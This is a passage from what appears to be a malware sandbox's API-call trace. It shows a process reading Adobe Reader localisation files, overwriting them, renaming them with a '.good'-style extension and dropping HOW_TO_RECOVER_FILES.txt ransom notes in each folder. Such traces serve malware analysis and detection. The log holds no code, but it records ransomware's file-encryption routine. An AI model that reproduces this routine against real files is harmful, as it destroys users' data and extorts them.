(x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-ae\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-ae\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0132.135] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb930) returned 1 [0132.135] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-ae\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\en-ae\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0132.135] GetFileType (hFile=0x630) returned 0x1 [0132.135] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8a0) returned 1 [0132.135] GetFileType (hFile=0x630) returned 0x1 [0132.135] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x1ffebad8 | out: lpFileSizeHigh=0x1ffebad8*=0x0) returned 0xdf0 [0132.135] ReadFile (in: hFile=0x630, lpBuffer=0x37bb800, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba08, lpOverlapped=0x0 | out: lpBuffer=0x37bb800*, lpNumberOfBytesRead=0x1ffeba08*=0xdf0, lpOverlapped=0x0) returned 1 [0132.137] CloseHandle (hObject=0x630) returned 1 [0132.237] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-ae\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-ae\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0132.237] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb930) returned 1 [0132.237] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-ae\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\en-ae\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0132.238] GetFileType (hFile=0x640) returned 0x1 [0132.238] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8a0) returned 1 [0132.238] GetFileType (hFile=0x640) returned 0x1 [0132.238] WriteFile (in: hFile=0x640, lpBuffer=0x363edd8*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x1ffeb918, lpOverlapped=0x0 | out: lpBuffer=0x363edd8*, lpNumberOfBytesWritten=0x1ffeb918*=0xe00, lpOverlapped=0x0) returned 1 [0132.239] CloseHandle (hObject=0x640) returned 1 [0132.239] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-ae\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-ae\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0132.239] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-ae\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-ae\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7b [0132.239] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0132.239] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-ae\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\en-ae\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x4b07f682, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe00)) returned 1 [0132.239] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0132.239] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-ae\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\en-ae\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-ae\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\en-ae\\ui-strings.js.gоod")) returned 1 [0132.240] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-ae\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-ae\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0132.240] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0132.240] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-ae\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\en-ae\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x640 [0132.241] GetFileType (hFile=0x640) returned 0x1 [0132.241] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0132.241] GetFileType (hFile=0x640) returned 0x1 [0132.242] WriteFile (in: hFile=0x640, lpBuffer=0x3642788*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x3642788*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0132.243] CloseHandle (hObject=0x640) returned 1 [0132.243] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0132.243] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-gb", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-gb", lpFilePart=0x0) returned 0x68 [0132.243] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-gb\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0132.244] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.244] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xd79, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0132.244] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0132.244] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0132.244] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0132.244] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0132.244] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0132.244] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-gb", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-gb", lpFilePart=0x0) returned 0x68 [0132.245] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-gb\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0132.245] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.245] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xd79, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0132.245] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xd79, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0132.245] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0132.245] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0132.245] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0132.245] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-gb\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-gb\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0132.245] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0132.245] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-gb\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\en-gb\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x36523e0 | out: lpFileInformation=0x36523e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xd79)) returned 1 [0132.246] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0132.246] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-gb\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-gb\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0132.246] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb930) returned 1 [0132.246] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-gb\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\en-gb\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0132.246] GetFileType (hFile=0x640) returned 0x1 [0132.246] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8a0) returned 1 [0132.246] GetFileType (hFile=0x640) returned 0x1 [0132.246] GetFileSize (in: hFile=0x640, lpFileSizeHigh=0x1ffebad8 | out: lpFileSizeHigh=0x1ffebad8*=0x0) returned 0xd79 [0132.246] ReadFile (in: hFile=0x640, lpBuffer=0x36534c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba08, lpOverlapped=0x0 | out: lpBuffer=0x36534c8*, lpNumberOfBytesRead=0x1ffeba08*=0xd79, lpOverlapped=0x0) returned 1 [0132.248] CloseHandle (hObject=0x640) returned 1 [0132.955] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-gb\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-gb\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0132.955] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb930) returned 1 [0132.955] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-gb\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\en-gb\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0132.956] GetFileType (hFile=0x650) returned 0x1 [0132.956] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8a0) returned 1 [0132.956] GetFileType (hFile=0x650) returned 0x1 [0132.956] WriteFile (in: hFile=0x650, lpBuffer=0x39291f8*, nNumberOfBytesToWrite=0xd80, lpNumberOfBytesWritten=0x1ffeb918, lpOverlapped=0x0 | out: lpBuffer=0x39291f8*, lpNumberOfBytesWritten=0x1ffeb918*=0xd80, lpOverlapped=0x0) returned 1 [0132.957] CloseHandle (hObject=0x650) returned 1 [0132.957] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-gb\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-gb\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0132.957] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-gb\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-gb\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7b [0132.957] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0132.957] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-gb\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\en-gb\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x4b75a22b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd80)) returned 1 [0132.957] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0132.957] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-gb\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\en-gb\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-gb\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\en-gb\\ui-strings.js.gоod")) returned 1 [0132.958] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-gb\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-gb\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0132.958] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0132.958] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-gb\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\en-gb\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x650 [0132.958] GetFileType (hFile=0x650) returned 0x1 [0132.958] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0132.958] GetFileType (hFile=0x650) returned 0x1 [0132.959] WriteFile (in: hFile=0x650, lpBuffer=0x392ca68*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x392ca68*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0132.960] CloseHandle (hObject=0x650) returned 1 [0132.961] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0132.961] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-il", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-il", lpFilePart=0x0) returned 0x68 [0132.961] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-il\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0134.354] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.356] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xdf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0134.356] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0134.358] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0134.358] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0134.358] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0134.390] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0134.390] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-il", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-il", lpFilePart=0x0) returned 0x68 [0134.390] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-il\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0134.390] 